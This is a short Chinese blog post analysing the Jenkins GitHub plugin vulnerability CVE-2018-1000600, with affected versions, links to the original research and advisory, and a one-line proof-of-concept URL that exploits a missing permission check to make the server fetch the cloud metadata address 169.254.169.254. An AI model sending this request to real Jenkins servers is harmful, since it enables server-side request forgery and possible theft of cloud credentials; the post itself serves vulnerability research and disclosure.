Jenkins CVE-2018-1000600漏洞验证与利用分析

本文详细分析了Jenkins GitHub插件CVE-2018-1000600安全漏洞的验证方法,涉及CSRF漏洞和权限缺失问题,展示了如何通过链式攻击实现预认证完全响应SSRF,并提供了受影响版本范围和漏洞修复情况。

Jenkins - CVE-2018-1000600 PoC

博客文章中的第二个漏洞利用 https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

与CVE-2018-1000600链式结合实现预认证完全响应SSRF https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

该漏洞影响默认安装的GitHub插件。但需要注意的是,当新建Jenkins实例时会默认拉取所有更新后的插件。虽然不确定用户默认开启最新插件更新的频率,但这确实会降低部分漏洞的影响范围。

漏洞影响版本:GitHub Plugin 1.29.1及以下版本

当我在今天(2019年2月25日)安装Jenkins时,默认安装了1.29.4版本,因此以下利用方法无效。

来自博客文章的内容:

GitHub插件中的CSRF漏洞和权限检查缺失允许窃取凭据

该漏洞可以提取Jenkins中已知凭据ID的任何存储凭据。但如果没有用户提供的值,凭据ID是一个随机UUID。因此这似乎无法利用?(或者如果有人知道如何获取凭据ID,请告知!)

虽然无法在没有已知凭据ID的情况下提取凭据,但还存在另一种攻击方式——完全响应SSRF!我们都知道盲SSRF的利用难度,这就是为什么完全响应SSRF如此有价值!

PoC:

1
2
3
4
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai

获取旧版本插件和信息的地址: https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin

下载旧版本: https://updates.jenkins.io/download/plugins/github-branch-source/ https://updates.jenkins.io/download/plugins/github/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计